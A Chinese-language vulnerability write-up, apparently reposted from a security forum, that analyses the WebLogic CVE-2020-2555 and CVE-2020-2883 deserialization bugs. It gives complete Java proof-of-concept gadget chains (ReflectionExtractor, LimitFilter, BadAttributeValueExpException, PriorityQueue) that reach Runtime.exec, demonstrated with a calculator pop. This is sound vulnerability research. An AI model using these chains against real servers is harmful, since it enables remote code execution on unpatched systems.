Weblogic 2020-2555&2883分析
2020-08-07 10:55:15 Author: xz.aliyun.com(查看原文) 阅读量:410 收藏

Weblogic 2020-2555&2883分析

这两个洞是相近的,所以放在一起讲

  • 共通的核心触发点

    1. ChainedExtractor

      public class ChainedExtractor extends AbstractCompositeExtractor {
       ......
       public ChainedExtractor(ValueExtractor[] aExtractor) {
       super(aExtractor);
      }
      
      ......
      public Object extract(Object oTarget) {
       ValueExtractor[] aExtractor = this.getExtractors();
       int i = 0;
      
       for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
           oTarget = aExtractor[i].extract(oTarget);
       }
      
       return oTarget;
      }
      ......
      }
      

      可以清楚的看到ChainedExtractor,在进行extract的时候,会遍历自己的属性m_aExtractor(继承与父类),将数组中的每一项进行extract,之后再结果作为下一个extract的参数

    2. ReflectionExtractor

      public class ReflectionExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite, PortableObject {
      protected String m_sMethod;
      protected Object[] m_aoParam;
      private transient Method m_methodPrev;
      
      public ReflectionExtractor() {
      }
      
      public ReflectionExtractor(String sMethod) {
       this(sMethod, (Object[])null, 0);
      }
      
      public ReflectionExtractor(String sMethod, Object[] aoParam) {
       this(sMethod, aoParam, 0);
      }
      ......
      public Object extract(Object oTarget) {
       if (oTarget == null) {
           return null;
       } else {
           Class clz = oTarget.getClass();
      
           try {
               Method method = this.m_methodPrev;
               if (method == null || method.getDeclaringClass() != clz) {
                   this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
               }
      
               return method.invoke(oTarget, this.m_aoParam);
           } catch (NullPointerException var4) {
               throw new RuntimeException(this.suggestExtractFailureCause(clz));
           } catch (Exception var5) {
               throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
           }
       }
      }
      

      这里的extractor有我们想要的东西method.invoke(oTarget, this.m_aoParam);,全部可控,相当于我们可以直接调用任何的方法

此时,如果是学习过Java反序列化利用链的你,大脑肯定飘过了,我们最熟悉的CC链,这里直接上截图,ysoserial的payload截图

我们直接来进行类似的构造

public class Test2 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor second = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
        ReflectionExtractor third = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c",
                "open /System/Applications/Calculator.app"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                first,
                second,
                third,
        };

        ChainedExtractor puzzle = new ChainedExtractor(valueExtractors);
        puzzle.extract(Runtime.class);
    }
}

运行后,即可发现弹出了计算机(third中请按照自己的环境环境进行修改cmd中的具体参数)。

可以说是完全一致,唯一的区别就是,transformextract,那么我们只需要找到一个触发点,类似LazyMap,最后漏洞作者,发现了一个符合的类LimitFilter

public String toString() {
        StringBuilder sb = new StringBuilder("LimitFilter: (");
        sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
        if (this.m_comparator instanceof ValueExtractor) {
            ValueExtractor extractor = (ValueExtractor)this.m_comparator;
            sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
        } else if (this.m_comparator != null) {
            sb.append(", comparator=").append(this.m_comparator);
        }

        sb.append("])");
        return sb.toString();
    }

toString在中间两次调用了extract,且参数都可控,然后最后一步,还是抄袭cc链,我们的老朋友BadAttributeValueExpException

反序列化时直接就触发了toString,最后payload

public class Poc1 {


    public static void main(String[] args) throws Exception {

        ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[] {"getRuntime", new Class[0]},1);

        ReflectionExtractor second = new ReflectionExtractor("invoke",new Object[]{null,null});


        ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{"open /System/Applications/Calculator.app"},1);
    //        ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{new String[]{"/bin/bash","-       c","echo " +
    //                "\"123\" > /tmp/123.txt"}});


        Object input = Runtime.class;

        ChainedExtractor b = new ChainedExtractor(new ReflectionExtractor[]{
                first,second,third,
        });

        LimitFilter c = new LimitFilter();
        c.setComparator(b);
        c.setTopAnchor(input);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val,c);

        File file = new File("./payload.ser");
        FileOutputStream fo = new FileOutputStream(file);
        ObjectOutputStream os = new ObjectOutputStream(fo);
        os.writeObject(val);

        FileInputStream fi = new FileInputStream("./payload.ser");
        ObjectInput oi = new ObjectInputStream(fi);
        oi.readObject();

    }
}

最后的几行是模拟传输后,反序列化的过程

弥补遗憾

BadAttributeValueExpException这个利用链并不能通杀,原因在于我们在jdk7中,是不存在toString(),这种操作的,因此,我们只能寻求别的办法,由于太像cc链了,所以我们去看看ysoserial中有什么骚操作,我们可以在CC2这条链中找到答案,这个链可以通杀主流的7,8版本

如果存在有compare可以触发extract,那么就可以替换那一环就完成整个链

这里就可以完成,我们就可以快乐照抄了

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
  queue.add("1");
  queue.add("1");

跑起来在这里卡住了,进行debug,我们可以发现,在进行add的时候会进入

在这里进行一轮compare,但由于我们在初始化的时候已经将调用链放入了其comparator参数中,所以会导致我们在这里就触发一轮链式攻击,但是queue必须要进行进行,初始化占位

  • 解决方案

    我们先将一个正常的comparator初始化进入(ysoserial中前半部分基本照搬就行),完成add操作后再用反射,取出

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Field f = queue.getClass().getDeclaredField("queue");
        f.setAccessible(true);
        Object[] queueArray = (Object[]) f.get(queue);
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

至此我们完成了jdk7,8的通用poc,与此同时,我们也完成了对2883的分析,原因在与2883只是单纯修复我们的第一条链的第二环节,不过于此同时这个第二环可以用ConcurrentSkipListMap$SubMap和Mutations替代,这个有些复杂,大家可以自己去尝试

总结

  1. 要细心总结,玩了很多年的洞,说不定会换种形式,再归来

参考链接

https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server

https://www.4hou.com/posts/Km1z


文章来源: http://xz.aliyun.com/t/8080
如有侵权请联系:admin#unsafe.sh